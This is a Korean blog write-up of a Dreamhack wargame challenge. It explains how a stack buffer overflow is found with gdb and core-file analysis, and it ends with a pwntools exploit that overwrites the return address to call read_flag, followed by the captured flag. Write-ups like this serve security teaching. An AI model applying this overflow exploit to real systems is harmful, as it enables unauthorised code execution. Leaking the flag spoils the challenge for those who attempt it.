CTF & Wargame(PWNABLE)

[dreamhack] level 1 basic_exploitation_001

KWAKBUMJUN 2025. 4. 1. 16:00

문제 분석

AAA만 입력했을 때는 아무런 동작을 하지 않는다. 하지만 A를 엄청나게 많이 입력했을때는 Segmentation fault 에러가 뜨는 것을 확인할 수 있다. 따라서 core 파일이 생성되었다.

 

core 파일 분석

core 파일을 gdb로 분석해보면 0x61616161에서 violation이 발생하였다. 그리고 esp에 우리가 입력한 aaa의 값의 일부인 aaa가 저장되어 있는 것을 확인 할 수 있다. 따라서 너무 많은 값을 입력하여 반환 주소를 aaa가 덮어쓴 것이다.

 

basic_exploitation_001.c 코드 분석

해당 파일의 코드를 보면 read_flag라는 함수에서 cat을 이용하여 flag를 읽고 있는 것을 확인 할 수 있다. 또한 buf라는 버퍼에는 0x80만큼의 공간이 있다. 따라서 우리는 read_flag 함수의 주소를 찾아서 bof를 진행하면 flag를 획득할 수 있을 것이다.

 

스택 프레임 구조 파악

사용자 입력을 받는 gets 함수에 bp를 걸고 프로그램을 실행시켜 보면 위와 같은 결과를 통해 스택 프레임 구조를 파악할 수 있다.

위의 정보들을 통해 구조를 파악해보면

buf - sfp 거리는 0x80

sfp와 ret address까지의 거리는 ebp + 0x04

buf와 ret address까지의 거리는 0x84

가 된다. 

 

Exploit

위의 정보들을 통해 셸을 획득하려면 0x84만큼을 쓰레기 값으로 채우고 read_flag()의 주소를 리틀 앤디언으로 변환하여 bof 진행하면 셸을 획득할 수 있다.

read_flag() 함수의 주소 : 0x80485b9

exploit code

from pwn import *
p = remote("host3.dreamhack.games", 13394)

addr = 0x80485b9

payload = b'A' * 0x80
payload += b'B' * 0x04
payload += p32(addr)

p.sendline(payload)
p.interactive()

위와 같이 익스플로잇 코드를 작성하고 파이썬 파일을 실행하면 flag를 획득 할 수 있다.

 

 

flag : DH{01ec06f5e1466e44f86a79444a7cd116}